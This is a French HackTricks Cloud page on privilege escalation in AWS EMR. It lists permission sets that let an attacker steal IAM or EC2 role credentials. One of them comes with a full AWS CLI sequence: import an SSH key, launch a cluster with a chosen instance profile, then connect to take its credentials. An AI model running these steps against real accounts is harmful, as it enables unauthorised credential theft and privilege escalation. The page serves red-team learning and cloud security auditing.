AWS - EMR Privesc
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
EMR
Plus d'info sur EMR dans :
iam:PassRole
, elasticmapreduce:RunJobFlow
Un attaquant avec ces permissions peut lancer un nouveau cluster EMR en attachant des rôles EC2 et essayer de voler ses identifiants.
Notez que pour ce faire, vous devez connaître une clé privée ssh importée dans le compte ou en importer une, et être capable d'ouvrir le port 22 dans le nœud maître (vous pourriez être en mesure de le faire avec les attributs EmrManagedMasterSecurityGroup
et/ou ServiceAccessSecurityGroup
à l'intérieur de --ec2-attributes
).
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key
aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
Notez comment un rôle EMR est spécifié dans --service-role
et un rôle ec2 est spécifié dans --ec2-attributes
à l'intérieur de InstanceProfile
. Cependant, cette technique ne permet que de voler les identifiants de rôle EC2 (puisque vous vous connecterez via ssh) mais pas le rôle IAM EMR.
Impact potentiel : Privesc au rôle de service EC2 spécifié.
elasticmapreduce:CreateEditor
, iam:ListRoles
, elasticmapreduce:ListClusters
, iam:PassRole
, elasticmapreduce:DescribeEditor
, elasticmapreduce:OpenEditorInConsole
Avec ces autorisations, un attaquant peut accéder à la console AWS, créer un Notebook et y accéder pour voler le rôle IAM.
caution
Même si vous attachez un rôle IAM à l'instance de notebook, dans mes tests, j'ai remarqué que j'étais capable de voler des identifiants gérés par AWS et non des identifiants liés au rôle IAM.
Impact potentiel : Privesc au rôle géré par AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
elasticmapreduce:OpenEditorInConsole
Juste avec cette autorisation, un attaquant pourra accéder au Jupyter Notebook et voler le rôle IAM qui lui est associé.
L'URL du notebook est https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/
caution
Même si vous attachez un rôle IAM à l'instance de notebook, dans mes tests, j'ai remarqué que j'étais capable de voler des identifiants gérés par AWS et non des identifiants liés au rôle IAM.
Impact potentiel : Privesc au rôle géré par AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.